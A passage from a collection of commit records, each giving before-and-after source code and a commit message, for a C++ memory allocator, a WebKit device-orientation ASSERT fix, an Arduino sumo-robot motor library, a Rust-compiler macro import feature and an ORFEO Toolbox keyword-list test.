INCLUDED_STRING_H\n#include <string.h>\n#define INCLUDED_STRING_H\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n\n#ifndef _RTL_ALLOC_H_\n#include <rtl\/alloc.h>\n#endif\n\nusing std::nothrow_t;\n\n\/\/ =======================================================================\n\/\/ AllocatorTraits\n\/\/ =======================================================================\n\nnamespace\n{\n\nstruct AllocatorTraits\n{\n typedef char const signature_type[8];\n const signature_type & m_signature;\n\n explicit AllocatorTraits (signature_type const & s) SAL_THROW(())\n : m_signature (s)\n {}\n\n std::size_t size (std::size_t n) const SAL_THROW(())\n {\n n = std::max(n, std::size_t(1));\n#if OSL_DEBUG_LEVEL > 0\n n += sizeof(signature_type);\n#endif \/* OSL_DEBUG_LEVEL *\/\n return n;\n }\n\n void* init (void * p) const SAL_THROW(())\n {\n#if OSL_DEBUG_LEVEL > 0\n memcpy (p, m_signature, sizeof(signature_type));\n p = static_cast<char*>(p) + sizeof(signature_type);\n#endif \/* OSL_DEBUG_LEVEL *\/\n return p;\n }\n\n void* fini (void * p) const SAL_THROW(())\n {\n#if OSL_DEBUG_LEVEL > 0\n p = static_cast<char*>(p) - sizeof(signature_type);\n if (memcmp (p, m_signature, sizeof(signature_type)) != 0)\n {\n OSL_ENSURE(0, \"operator delete mismatch\");\n }\n#endif \/* OSL_DEBUG_LEVEL *\/\n return p;\n }\n};\n\n\/\/ =======================================================================\n\nstruct VectorTraits : public AllocatorTraits\n{\n static const signature_type g_signature;\n\n VectorTraits() SAL_THROW(())\n : AllocatorTraits (g_signature)\n {}\n};\n\nstruct ScalarTraits : public AllocatorTraits\n{\n static const signature_type g_signature;\n\n ScalarTraits() SAL_THROW(())\n : AllocatorTraits (g_signature)\n {}\n};\n\nconst AllocatorTraits::signature_type VectorTraits::g_signature = \"new[]()\";\nconst AllocatorTraits::signature_type ScalarTraits::g_signature = \"new() \";\n\n} \/\/ anonymous namespace\n\n\/\/ =======================================================================\n\/\/ Allocator\n\/\/ =======================================================================\n\nstatic void default_handler (void)\n{\n \/\/ Multithreading race in 'std::set_new_handler()' call sequence below.\n throw std::bad_alloc();\n}\n\n\/\/ =======================================================================\n\nstatic void* allocate (\n std::size_t n, AllocatorTraits const & rTraits)\n SAL_THROW((std::bad_alloc))\n{\n n = rTraits.size (n);\n for (;;)\n {\n void * p = rtl_allocateMemory (sal_uInt32(n));\n if (p != 0)\n return rTraits.init (p);\n\n std::new_handler d = default_handler, f = std::set_new_handler (d);\n if (f != d)\n std::set_new_handler (f);\n\n if (f == 0)\n throw std::bad_alloc();\n (*f)();\n }\n}\n\n\/\/ =======================================================================\n\nstatic void* allocate (\n std::size_t n, AllocatorTraits const & rTraits, std::nothrow_t const &)\n SAL_THROW(())\n{\n try\n {\n return allocate (n, rTraits);\n }\n catch (std::bad_alloc const &)\n {\n return (0);\n }\n}\n\n\/\/ =======================================================================\n\nstatic void deallocate (void * p, AllocatorTraits const & rTraits)\n SAL_THROW(())\n{\n if (p)\n {\n rtl_freeMemory (rTraits.fini(p));\n }\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new T; delete p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new (std::size_t n) throw (std::bad_alloc)\n{\n return allocate (n, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete (void * p) throw ()\n{\n deallocate (p, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new(nothrow) T; delete(nothrow) p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new (std::size_t n, std::nothrow_t const &) throw ()\n{\n return allocate (n, ScalarTraits(), nothrow_t());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete (void * p, std::nothrow_t const &) throw ()\n{\n deallocate (p, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new T[n]; delete[] p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new[] (std::size_t n) throw (std::bad_alloc)\n{\n return allocate (n, VectorTraits());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete[] (void * p) throw ()\n{\n deallocate (p, VectorTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new(nothrow) T[n]; delete(nothrow)[] p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new[] (std::size_t n, std::nothrow_t const &) throw ()\n{\n return allocate (n, VectorTraits(), nothrow_t());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete[] (void * p, std::nothrow_t const &) throw ()\n{\n deallocate (p, VectorTraits());\n}\n\n\/\/ =======================================================================\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2010 Apple Inc. All rights reserved.\n * Copyright (C) 2012 Samsung Electronics. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"modules\/device_orientation\/NewDeviceOrientationController.h\"\n\n#include \"core\/dom\/Document.h\"\n#include \"modules\/device_orientation\/DeviceOrientationData.h\"\n#include \"modules\/device_orientation\/DeviceOrientationDispatcher.h\"\n#include \"modules\/device_orientation\/DeviceOrientationEvent.h\"\n\nnamespace WebCore {\n\nNewDeviceOrientationController::NewDeviceOrientationController(Document* document)\n : DeviceSensorEventController(document)\n{\n}\n\nNewDeviceOrientationController::~NewDeviceOrientationController()\n{\n}\n\nvoid NewDeviceOrientationController::didChangeDeviceOrientation(DeviceOrientationData* deviceOrientationData)\n{\n dispatchDeviceEvent(DeviceOrientationEvent::create(eventNames().deviceorientationEvent, deviceOrientationData));\n}\n\nconst char* NewDeviceOrientationController::supplementName()\n{\n return \"NewDeviceOrientationController\";\n}\n\nNewDeviceOrientationController* NewDeviceOrientationController::from(Document* document)\n{\n NewDeviceOrientationController* controller = static_cast<NewDeviceOrientationController*>(Supplement<ScriptExecutionContext>::from(document, supplementName()));\n if (!controller) {\n controller = new NewDeviceOrientationController(document);\n Supplement<ScriptExecutionContext>::provideTo(document, supplementName(), adoptPtr(controller));\n }\n return controller;\n}\n\nbool NewDeviceOrientationController::hasLastData()\n{\n return DeviceOrientationDispatcher::instance().latestDeviceOrientationData();\n}\n\nPassRefPtr<Event> NewDeviceOrientationController::getLastEvent()\n{\n return DeviceOrientationEvent::create(eventNames().deviceorientationEvent,\n DeviceOrientationDispatcher::instance().latestDeviceOrientationData());\n}\n\nvoid NewDeviceOrientationController::registerWithDispatcher()\n{\n DeviceOrientationDispatcher::instance().addDeviceOrientationController(this);\n}\n\nvoid NewDeviceOrientationController::unregisterWithDispatcher()\n{\n DeviceOrientationDispatcher::instance().removeDeviceOrientationController(this);\n}\n\nbool NewDeviceOrientationController::isNullEvent(Event* event)\n{\n ASSERT(event->type() == eventNames().devicemotionEvent);\n DeviceOrientationEvent* orientationEvent = static_cast<DeviceOrientationEvent*>(event);\n return !orientationEvent->orientation()->canProvideEventData();\n}\n\n} \/\/ namespace WebCore\n<commit_msg>Fix buggy ASSERT in NewDeviceOrientationController.<commit_after>\/*\n * Copyright 2010 Apple Inc. All rights reserved.\n * Copyright (C) 2012 Samsung Electronics. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"modules\/device_orientation\/NewDeviceOrientationController.h\"\n\n#include \"core\/dom\/Document.h\"\n#include \"modules\/device_orientation\/DeviceOrientationData.h\"\n#include \"modules\/device_orientation\/DeviceOrientationDispatcher.h\"\n#include \"modules\/device_orientation\/DeviceOrientationEvent.h\"\n\nnamespace WebCore {\n\nNewDeviceOrientationController::NewDeviceOrientationController(Document* document)\n : DeviceSensorEventController(document)\n{\n}\n\nNewDeviceOrientationController::~NewDeviceOrientationController()\n{\n}\n\nvoid NewDeviceOrientationController::didChangeDeviceOrientation(DeviceOrientationData* deviceOrientationData)\n{\n dispatchDeviceEvent(DeviceOrientationEvent::create(eventNames().deviceorientationEvent, deviceOrientationData));\n}\n\nconst char* NewDeviceOrientationController::supplementName()\n{\n return \"NewDeviceOrientationController\";\n}\n\nNewDeviceOrientationController* NewDeviceOrientationController::from(Document* document)\n{\n NewDeviceOrientationController* controller = static_cast<NewDeviceOrientationController*>(Supplement<ScriptExecutionContext>::from(document, supplementName()));\n if (!controller) {\n controller = new NewDeviceOrientationController(document);\n Supplement<ScriptExecutionContext>::provideTo(document, supplementName(), adoptPtr(controller));\n }\n return controller;\n}\n\nbool NewDeviceOrientationController::hasLastData()\n{\n return DeviceOrientationDispatcher::instance().latestDeviceOrientationData();\n}\n\nPassRefPtr<Event> NewDeviceOrientationController::getLastEvent()\n{\n return DeviceOrientationEvent::create(eventNames().deviceorientationEvent,\n DeviceOrientationDispatcher::instance().latestDeviceOrientationData());\n}\n\nvoid NewDeviceOrientationController::registerWithDispatcher()\n{\n DeviceOrientationDispatcher::instance().addDeviceOrientationController(this);\n}\n\nvoid NewDeviceOrientationController::unregisterWithDispatcher()\n{\n DeviceOrientationDispatcher::instance().removeDeviceOrientationController(this);\n}\n\nbool NewDeviceOrientationController::isNullEvent(Event* event)\n{\n ASSERT(event->type() == eventNames().deviceorientationEvent);\n DeviceOrientationEvent* orientationEvent = static_cast<DeviceOrientationEvent*>(event);\n return !orientationEvent->orientation()->canProvideEventData();\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/********************************************************************\n Motor.cpp - A Library for Controlling the Motors of the MRK-1\n An Introduction to Robot Programming\n Author - Eric Ryan Harrison <me@ericharrison.info>\n http:\/\/github.com\/SumoRobotLeague\/MRK-1\/\n\n Improved motor control library with an attack() method that will\n instantly charge forward at full speed on both motors.\n********************************************************************\/\n\n#include \"Arduino.h\"\n#include \"Motor.h\"\n\n\/\/ Define our minimum and maximum speeds for error checking.\n#define maxSpeed 255\n#define minSpeed -255\n\n\/\/ This is our class constructor. When this method is called\n\/\/ the class will create an object of this instance. We don't\n\/\/ need our motor constructor to do anything, so we will leave\n\/\/ it empty.\nMotor::Motor() {\n\t\/\/ Intentionally do nothing\n}\n\nvoid Motor::setupRight(int rightSpeed_pin, int rightDirection_pin) {\n\t\/\/ Store the pin in a private variable for later use\n\t_rightMotorSpeedPin = rightSpeed_pin;\n\t_rightMotorDirectionPin = rightDirection_pin;\n\n\t\/\/ Set up pins for output\n\tpinMode(_rightMotorSpeedPin, OUTPUT);\n\tpinMode(_rightMotorDirectionPin, OUTPUT);\n}\n\n\nvoid Motor::setupLeft(int leftSpeed_pin, int leftDirection_pin) {\n\t\/\/ Store the pin in a private variable for later use\n\t_leftMotorSpeedPin = leftSpeed_pin;\n\t_leftMotorDirectionPin = leftDirection_pin;\n\n\t\/\/ Set up pins for output\n\tpinMode(_leftMotorSpeedPin, OUTPUT);\n\tpinMode(_leftMotorDirectionPin, OUTPUT);\n}\n\nvoid Motor::right(int speed) {\n\t\/\/ Simple check to make sure our speed does not exceed\n\t\/\/ the defined speed limits.\n\tif ( speed > maxSpeed ) {\n\t\tspeed = maxSpeed;\n\t} else if ( speed < minSpeed ) {\n\t\tspeed = minSpeed;\n\t}\n\n\tif ( speed < 0 ) {\n\t\tdigitalWrite(_rightMotorDirectionPin, HIGH);\n\t\tanalogWrite(_rightMotorSpeedPin, abs(speed));\n\t} else {\n\t\tdigitalWrite(_rightMotorDirectionPin, LOW);\n\t\tanalogWrite(_rightMotorSpeedPin, speed);\n\t}\n}\n\nvoid Motor::left(int speed) {\n\tif ( speed > maxSpeed ) {\n\t\tspeed = maxSpeed;\n\t} else if ( speed < minSpeed ) {\n\t\tspeed = minSpeed;\n\t}\n\n\tif ( speed < 0 ) {\n\t\tdigitalWrite(_leftMotorDirectionPin, LOW);\n\t\tanalogWrite(_leftMotorSpeedPin, speed);\n\t} else {\n\t\tdigitalWrite(_leftMotorDirectionPin, HIGH);\n\t\tanalogWrite(_leftMotorSpeedPin, abs(speed));\n\t}\n}\n\n\/\/ Our attack() method is a very simple function that will\n\/\/ tell both motors to charge forward at full speed.\nvoid Motor::attack() {\n\tright(maxSpeed);\n\tleft(maxSpeed);\n}\n\n\/\/ Our abort() method is a very simple function that will\n\/\/ tell both motors to reverse at full speed.\nvoid Motor::abort() {\n\tright(minSpeed);\n\tleft(minSpeed);\n}\n<commit_msg>Fixed the misplaced abs()<commit_after>\/********************************************************************\n Motor.cpp - A Library for Controlling the Motors of the MRK-1\n An Introduction to Robot Programming\n Author - Eric Ryan Harrison <me@ericharrison.info>\n http:\/\/github.com\/SumoRobotLeague\/MRK-1\/\n\n Improved motor control library with an attack() method that will\n instantly charge forward at full speed on both motors.\n********************************************************************\/\n\n#include \"Arduino.h\"\n#include \"Motor.h\"\n\n\/\/ Define our minimum and maximum speeds for error checking.\n#define maxSpeed 255\n#define minSpeed -255\n\n\/\/ This is our class constructor. When this method is called\n\/\/ the class will create an object of this instance. We don't\n\/\/ need our motor constructor to do anything, so we will leave\n\/\/ it empty.\nMotor::Motor() {\n\t\/\/ Intentionally do nothing\n}\n\nvoid Motor::setupRight(int rightSpeed_pin, int rightDirection_pin) {\n\t\/\/ Store the pin in a private variable for later use\n\t_rightMotorSpeedPin = rightSpeed_pin;\n\t_rightMotorDirectionPin = rightDirection_pin;\n\n\t\/\/ Set up pins for output\n\tpinMode(_rightMotorSpeedPin, OUTPUT);\n\tpinMode(_rightMotorDirectionPin, OUTPUT);\n}\n\n\nvoid Motor::setupLeft(int leftSpeed_pin, int leftDirection_pin) {\n\t\/\/ Store the pin in a private variable for later use\n\t_leftMotorSpeedPin = leftSpeed_pin;\n\t_leftMotorDirectionPin = leftDirection_pin;\n\n\t\/\/ Set up pins for output\n\tpinMode(_leftMotorSpeedPin, OUTPUT);\n\tpinMode(_leftMotorDirectionPin, OUTPUT);\n}\n\nvoid Motor::right(int speed) {\n\t\/\/ Simple check to make sure our speed does not exceed\n\t\/\/ the defined speed limits.\n\tif ( speed > maxSpeed ) {\n\t\tspeed = maxSpeed;\n\t} else if ( speed < minSpeed ) {\n\t\tspeed = minSpeed;\n\t}\n\n\tif ( speed < 0 ) {\n\t\tdigitalWrite(_rightMotorDirectionPin, HIGH);\n\t\tanalogWrite(_rightMotorSpeedPin, abs(speed));\n\t} else {\n\t\tdigitalWrite(_rightMotorDirectionPin, LOW);\n\t\tanalogWrite(_rightMotorSpeedPin, speed);\n\t}\n}\n\nvoid Motor::left(int speed) {\n\tif ( speed > maxSpeed ) {\n\t\tspeed = maxSpeed;\n\t} else if ( speed < minSpeed ) {\n\t\tspeed = minSpeed;\n\t}\n\n\tif ( speed < 0 ) {\n\t\tdigitalWrite(_leftMotorDirectionPin, LOW);\n\t\tanalogWrite(_leftMotorSpeedPin, abs(speed));\n\t} else {\n\t\tdigitalWrite(_leftMotorDirectionPin, HIGH);\n\t\tanalogWrite(_leftMotorSpeedPin, speed);\n\t}\n}\n\n\/\/ Our attack() method is a very simple function that will\n\/\/ tell both motors to charge forward at full speed.\nvoid Motor::attack() {\n\tright(maxSpeed);\n\tleft(maxSpeed);\n}\n\n\/\/ Our abort() method is a very simple function that will\n\/\/ tell both motors to reverse at full speed.\nvoid Motor::abort() {\n\tright(minSpeed);\n\tleft(minSpeed);\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include <synext.hpp>\n#include \"..\/ast\/expr.hpp\"\n#include \"..\/ast\/ast.hpp\"\n#include \"..\/parse\/common.hpp\"\n#include \"macro_rules.hpp\"\n\nclass CMacroRulesExpander:\n public ExpandProcMacro\n{\n bool expand_early() const override { return true; }\n \n ::std::unique_ptr<TokenStream> expand(Span sp, const ::AST::Crate& crate, const ::std::string& ident, const TokenTree& tt, AST::Module& mod) override\n {\n if( ident == \"\" )\n ERROR(sp, E0000, \"macro_rules! requires an identifier\" );\n \n TTStream lex(tt);\n auto mac = Parse_MacroRules(lex);\n mod.add_macro( false, ident, mac );\n \n return box$( TTStreamO(TokenTree()) );\n }\n};\n\nclass CMacroUseHandler:\n public ExpandDecorator\n{\n AttrStage stage() const override { return AttrStage::EarlyPost; }\n \n void handle(const AST::MetaItem& mi, ::AST::Crate& crate, const AST::Path& path, AST::Module& mod, AST::Item& i) const override\n {\n TRACE_FUNCTION_F(\"path=\" << path);\n if( !i.is_Module() )\n throw ::std::runtime_error(\"ERROR: Use of #[macro_use] on non-module\");\n \n const auto& submod = i.as_Module().e;\n \n if( mi.has_sub_items() )\n {\n throw ::std::runtime_error(\"TODO: #[macro_use]\");\n }\n else\n {\n for( const auto& mr : submod.macros() )\n {\n DEBUG(\"Imported \" << mr.name);\n mod.add_macro_import( mr.name, mr.data );\n }\n for( const auto& mri : submod.macro_imports_res() )\n {\n DEBUG(\"Imported \" << mri.name << \" (propagate)\");\n mod.add_macro_import( mri.name, *mri.data );\n }\n }\n }\n \n};\n\n::std::unique_ptr<TokenStream> Macro_Invoke(const char* name, const MacroRules& rules, const TokenTree& tt, AST::Module& mod)\n{\n return Macro_InvokeRules(name, rules, tt);\n}\n\n\nSTATIC_MACRO(\"macro_rules\", CMacroRulesExpander);\nSTATIC_DECORATOR(\"macro_use\", CMacroUseHandler);\n\n<commit_msg>Expand - macro_use with ident list<commit_after>\n#include <synext.hpp>\n#include \"..\/ast\/expr.hpp\"\n#include \"..\/ast\/ast.hpp\"\n#include \"..\/parse\/common.hpp\"\n#include \"macro_rules.hpp\"\n\nclass CMacroRulesExpander:\n public ExpandProcMacro\n{\n bool expand_early() const override { return true; }\n \n ::std::unique_ptr<TokenStream> expand(Span sp, const ::AST::Crate& crate, const ::std::string& ident, const TokenTree& tt, AST::Module& mod) override\n {\n if( ident == \"\" )\n ERROR(sp, E0000, \"macro_rules! requires an identifier\" );\n \n TTStream lex(tt);\n auto mac = Parse_MacroRules(lex);\n mod.add_macro( false, ident, mac );\n \n return box$( TTStreamO(TokenTree()) );\n }\n};\n\nclass CMacroUseHandler:\n public ExpandDecorator\n{\n AttrStage stage() const override { return AttrStage::EarlyPost; }\n \n void handle(const AST::MetaItem& mi, ::AST::Crate& crate, const AST::Path& path, AST::Module& mod, AST::Item& i) const override\n {\n TRACE_FUNCTION_F(\"path=\" << path);\n if( !i.is_Module() )\n throw ::std::runtime_error(\"ERROR: Use of #[macro_use] on non-module\");\n \n const auto& submod = i.as_Module().e;\n \n if( mi.has_sub_items() )\n {\n for( const auto& si : mi.items() )\n {\n const auto& name = si.name();\n for( const auto& mr : submod.macros() )\n {\n if( mr.name == name ) {\n DEBUG(\"Imported \" << mr.name);\n mod.add_macro_import( mr.name, mr.data );\n goto _good;\n }\n }\n for( const auto& mri : submod.macro_imports_res() )\n {\n if( mri.name == name ) {\n DEBUG(\"Imported \" << mri.name << \" (propagate)\");\n mod.add_macro_import( mri.name, *mri.data );\n goto _good;\n }\n }\n ERROR(Span(), E0000, \"Couldn't find macro \" << name);\n _good:\n (void)0;\n }\n }\n else\n {\n for( const auto& mr : submod.macros() )\n {\n DEBUG(\"Imported \" << mr.name);\n mod.add_macro_import( mr.name, mr.data );\n }\n for( const auto& mri : submod.macro_imports_res() )\n {\n DEBUG(\"Imported \" << mri.name << \" (propagate)\");\n mod.add_macro_import( mri.name, *mri.data );\n }\n }\n }\n \n};\n\n::std::unique_ptr<TokenStream> Macro_Invoke(const char* name, const MacroRules& rules, const TokenTree& tt, AST::Module& mod)\n{\n return Macro_InvokeRules(name, rules, tt);\n}\n\n\nSTATIC_MACRO(\"macro_rules\", CMacroRulesExpander);\nSTATIC_DECORATOR(\"macro_use\", CMacroUseHandler);\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include <otbImageKeywordlist.h>\n#include <iostream>\n#include <sstream>\n#include <iterator>\n\ndouble convertToDouble(const std::string& s)\n{\n std::istringstream i(s);\n double x;\n i >> x;\n return x;\n}\n\nint otbTestImageKeywordlist(int argc, char* argv[])\n{\n\t\n if (argc != 6)\n {\n std::cout << argv[0] \n << \" <input img filename> <input needed keyword list> <input list of tols for each needed kw> \"\n <<\" <output kw list filename> <bool test all kw>\" << std::endl;\n\n return EXIT_FAILURE;\n }\n \n const unsigned int Dimension = 2;\n typedef double InputPixelType;\n typedef otb::VectorImage<InputPixelType, Dimension> InputImageType;\n typedef otb::ImageFileReader<InputImageType> ReaderType;\n \n const char* inputFilename = argv[1];\n std::istringstream issNeededKw(argv[2]);\n std::istringstream issTols(argv[3]);\n char * outGeomFilename = argv[4];\n bool checkAllKw = argv[5];\n \n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(inputFilename);\n reader->UpdateOutputInformation();\n \n otb::ImageKeywordlist kwlist = reader->GetOutput()->GetImageKeywordlist();\n \n if (!(kwlist.GetSize() > 0))\n {\n std::cerr<<\"Error : imageKeywordlist is empty.\"<<std::endl;\n return EXIT_FAILURE;\n } \n\n typedef otb::ImageKeywordlist::KeywordlistMap KeywordlistMapType;\n KeywordlistMapType kwmap = kwlist.GetKeywordlist();\n \n if (checkAllKw) \/\/ Check all keywords (ignore argv[2] and argv[3])\n {\n\t \n\t \/\/ Write keywordlist, read it, compare it to the original list\n\t WriteGeometry(kwlist,outGeomFilename);\n\t otb::ImageKeywordlist kwlist2 = otb::ReadGeometryFromGEOMFile(outGeomFilename);\n\t KeywordlistMapType kwmap2 = kwlist2.GetKeywordlist();\n\t \n\t if (kwmap.size() != kwmap2.size() )\n\t {\n\t\tstd::cerr << \"Error : keyword lists don't have the same size (orig \/ reloaded): \" << kwmap.size() << \" \/ \" << kwmap2.size() << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \n\t KeywordlistMapType::iterator kwlistIt = kwmap.begin();\n\t \n\t double val1,val2;\n\t while ( kwlistIt!=kwmap.end() )\n\t {\n\t\t val1 = convertToDouble(kwlistIt->second);\n\t\t \n\t\t KeywordlistMapType::iterator it = kwmap2.find(kwlistIt->first);\n\t\t if (it != kwmap2.end() )\n\t\t {\n\t\t val2 = convertToDouble(it->second);\n\t\t }\n\t\t else\n\t\t {\n\t\t std::cerr << \"Error : couldn't find key \" << kwlistIt->first << \" in reloaded keyword list.\" << std::endl;\n\t\t\t return EXIT_FAILURE; \n\t\t }\n\t\t if ( fabs( val2 - val1 ) > 0.01 )\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Error : orig key\/value (\" << kwlistIt->first << \" \" << kwlistIt->second << \")\"<< std::endl\n\t\t\t\t\t << \"reloaded key\/value (\" << kwlistIt->first << \" \" << kwmap2[kwlistIt->first] << \")\"<< std::endl;\n\t\t\t\t\treturn EXIT_FAILURE;\n\t\t\t\t}\n\t\t ++kwlistIt;\n\t }\n\t \n }\n else \/\/ Check only needed keywords\n {\n\t \/\/ #1 keywordlist, only check the needed keywords\n\t \/*-------------------------------------*\/\n\t \n\t \/\/Split the string into many tokens, with whitespaces as separators\n\t std::list<std::string> neededKw;\n\t copy(std::istream_iterator<std::string>(issNeededKw),\n\t\t std::istream_iterator<std::string>(),\n\t\t back_inserter(neededKw));\n\t\t \n\t std::list<std::string> missingKw;\n\t for(std::list<std::string>::iterator neededIt=neededKw.begin(); neededIt!=neededKw.end(); ++neededIt)\n\t {\n\t\tbool foundNeededKw = false;\n\t\tfor(KeywordlistMapType::iterator kwlistIt=kwmap.begin(); kwlistIt!=kwmap.end(); ++kwlistIt)\n\t\t{\n\t\t\tstd::size_t found = kwlistIt->first.find(*neededIt);\n\t\t\tif (found!=std::string::npos)\n\t\t\t{ \n\t\t\t\tfoundNeededKw = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (!foundNeededKw)\n\t\t\tmissingKw.push_back(*neededIt);\n\t }\n\t \n\t if ( (neededKw.size()>0) && (missingKw.size()>0) )\n\t {\n\t\tstd::cerr << \"Error : some keywords were not found; missing keywords : \" << std::endl;\n\t\tfor (std::list<std::string>::iterator itm = missingKw.begin(); itm != missingKw.end(); ++itm) \n\t\t std::cerr << *itm << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \/*-------------------------------------*\/\n\t \n\t \n\t \/\/ #2 Write keywordlist, read it, compare it to the original list\n\t WriteGeometry(kwlist,outGeomFilename);\n\t otb::ImageKeywordlist kwlist2 = otb::ReadGeometryFromGEOMFile(outGeomFilename);\n\t KeywordlistMapType kwmap2 = kwlist2.GetKeywordlist();\n\t \n\t \/\/Split the string into many tokens, with whitespaces as separators\n\t std::list<std::string> tols;\n\t copy(std::istream_iterator<std::string>(issTols),\n\t\t std::istream_iterator<std::string>(),\n\t\t back_inserter(tols));\n\t\t \n\t if (tols.size() != neededKw.size() )\n\t {\n\t\tstd::cerr << \"Error : needed keywords list should have the same size as the tolerances one (needed \/ tols): \" \n\t\t << neededKw.size() << \" \" << tols.size() << std::endl;\n\t\treturn EXIT_FAILURE; \n\t }\n\t\t \n\t std::map<std::string,double> mapKwTol;\n\t std::pair<std::map<std::string,double>::iterator,bool> ret;\n\t std::list<std::string>::iterator tolsIt=tols.begin();\n\t std::list<std::string>::iterator neededKwIt=neededKw.begin();\n\t while ( (tolsIt!=tols.end()) && (neededKwIt!=neededKw.end()) )\n\t {\t\t\n\t mapKwTol.insert( std::pair<std::string,double>(*neededKwIt, convertToDouble(*tolsIt) ) );\n\t ++tolsIt;\n\t ++neededKwIt;\n\t }\n\t \n\t if (kwmap.size() != kwmap2.size() )\n\t {\n\t\tstd::cerr << \"Error : keyword lists don't have the same size (orig \/ reloaded): \" << kwmap.size() << \" \/ \" << kwmap2.size() << std::endl;\n\t\treturn EXIT_FAILURE;\n\t }\n\t \n\t for(std::list<std::string>::iterator neededIt=neededKw.begin(); neededIt!=neededKw.end(); ++neededIt)\n\t {\n\t\tKeywordlistMapType::iterator kwlistIt = kwmap.begin();\n\t\tKeywordlistMapType::iterator kwlistIt2 = kwmap2.begin();\n\t\t\n\t\twhile ( (kwlistIt!=kwmap.end()) && (kwlistIt2!=kwmap2.end()) )\n\t\t{\n\t\t\tstd::size_t found = kwlistIt->first.find(*neededIt);\n\t\t\tif (found!=std::string::npos) \/\/ keyword found\n\t\t\t{ \n\t\t\t\t\n\t\t\t\tif ( fabs( convertToDouble(kwlistIt->second) - convertToDouble(kwlistIt2->second)) > mapKwTol[*neededIt] )\n\t\t\t\t{\n\t\t\t\t\tstd::cerr << \"Error : orig key\/value (\" << kwlistIt->first << \" \" << kwlistIt->second << \")\"<< std::endl\n\t\t\t\t\t << \"reloaded key\/value (\" << kwlistIt2->first << \" \" << kwlistIt2->second << \")\"<< std::endl;\n\t\t\t\t\treturn EXIT_FAILURE;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t++kwlistIt;\n\t\t\t++kwlistIt2;\n\t\t}\n\t }\n }\n return 